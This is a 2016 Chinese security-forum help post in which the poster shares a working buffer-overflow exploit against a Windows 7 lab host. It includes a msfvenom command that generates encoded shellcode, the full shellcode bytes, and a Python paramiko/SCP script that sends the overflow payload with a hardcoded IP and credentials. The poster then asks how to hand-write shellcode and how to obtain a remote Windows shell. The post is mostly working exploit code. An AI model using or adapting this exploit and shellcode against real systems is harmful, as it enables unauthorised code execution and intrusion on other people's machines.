-
-
[求助]windows的“shell”获取
-
发表于:
2016-8-11 10:56
4129
-
在 kali2.0 的环境里,我使用 msfvenom 生成了一段代码(目的是在“远程机器win7” 上运行 cmd.exe):
msfvenom -a x86 -p windows/exec cmd=cmd.exe -b '\x00\x0a' -e x86/shikata_ga_nai -f raw > /sc.txt
将生成的sc.txt的内容编辑后,放入
test.py 中的 sc 变量里,具体如下:
import paramiko
from scpclient import *
from contextlib import closing
from time import sleep
import struct
hostname1 = "192.168.10.13"
username1 = "test1"
password1 = "1234"
jmp = struct.pack('<L', 0x7c345c30)
pad = "\x90" * 12
sc = ""
sc += "\xB8\xE7\x27\x52\x3F\xDA\xD9\xD9\x74\x24\xF4\x5D\x31\xC9\xB1\x31"
sc += "\x83\xED\xFC\x31\x45\x0E\x03\xA2\x29\xB0\xCA\xD0\xDE\xB6\x35\x28"
sc += "\x1F\xD7\xBC\xCD\x2E\xD7\xDB\x86\x01\xE7\xA8\xCA\xAD\x8C\xFD\xFE"
sc += "\x26\xE0\x29\xF1\x8F\x4F\x0C\x3C\x0F\xE3\x6C\x5F\x93\xFE\xA0\xBF"
sc += "\xAA\x30\xB5\xBE\xEB\x2D\x34\x92\xA4\x3A\xEB\x02\xC0\x77\x30\xA9"
sc += "\x9A\x96\x30\x4E\x6A\x98\x11\xC1\xE0\xC3\xB1\xE0\x25\x78\xF8\xFA"
sc += "\x2A\x45\xB2\x71\x98\x31\x45\x53\xD0\xBA\xEA\x9A\xDC\x48\xF2\xDB"
sc += "\xDB\xB2\x81\x15\x18\x4E\x92\xE2\x62\x94\x17\xF0\xC5\x5F\x8F\xDC"
sc += "\xF4\x8C\x56\x97\xFB\x79\x1C\xFF\x1F\x7F\xF1\x74\x1B\xF4\xF4\x5A"
sc += "\xAD\x4E\xD3\x7E\xF5\x15\x7A\x27\x53\xFB\x83\x37\x3C\xA4\x21\x3C"
sc += "\xD1\xB1\x5B\x1F\xBC\x44\xE9\x1A\xF2\x47\xF1\x24\xA3\x2F\xC0\xAF"
sc += "\x2C\x37\xDD\x7A\x09\xC7\x97\x26\x38\x40\x7E\xB3\x78\x0D\x81\x6E"
sc += "\xBE\x28\x02\x9A\x3F\xCF\x1A\xEF\x3A\x8B\x9C\x1C\x37\x84\x48\x22"
sc += "\xE4\xA5\x58\x41\x67\x3E\x4D\xE0\x0F\xDB\x91"
req = "A" * 489 + jmp + pad + sc
ssh_client = paramiko.SSHClient()
ssh_client.load_system_host_keys()
ssh_client.connect(hostname1,username=username1,key_filename=None,password=password1)
sleep(15)
with closing(Read(ssh_client.get_transport(), req)) as scp:
scp.receive("foo.txt")
运行:
在“本地机器(linux:192.168.10.1)上,
>python test.py
结果:
在“目标机器(win7:192.168.10.13)”上只是闪了一下,cmd.exe并没有停留在界面上。如果改为calc.exe,会是弹出计算器的(是停留在界面上,可直接在上面进行加减乘除操作的)。
问题:
1、为何“目标机器(win7:192.168.10.13)”上的cmd.exe只是”闪了“一下,而没有停留在界面上?
2、如果不使用 kali 的 msfvenom 生成二进制代码,而自己写,该怎样写(我是指如何打开 cmd.exe 的汇编指令)?
3、要获取远程机器的shell,如果远程机器是linux/unix,那就是要获取 /bin/sh;如果远程机器是win7,那如何才能得到shell(本地输入dos命令,可获取远程win7机器的信息)?
补充:
我在“目标机器(win7:192.168.10.13)”上打开 process explorer 监测,发现在“闪”完之后,cmd.exe
马上就出现在了 process explorer里面(之后一直存在,直到我手工kill它),尽管界面上没有停留......
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课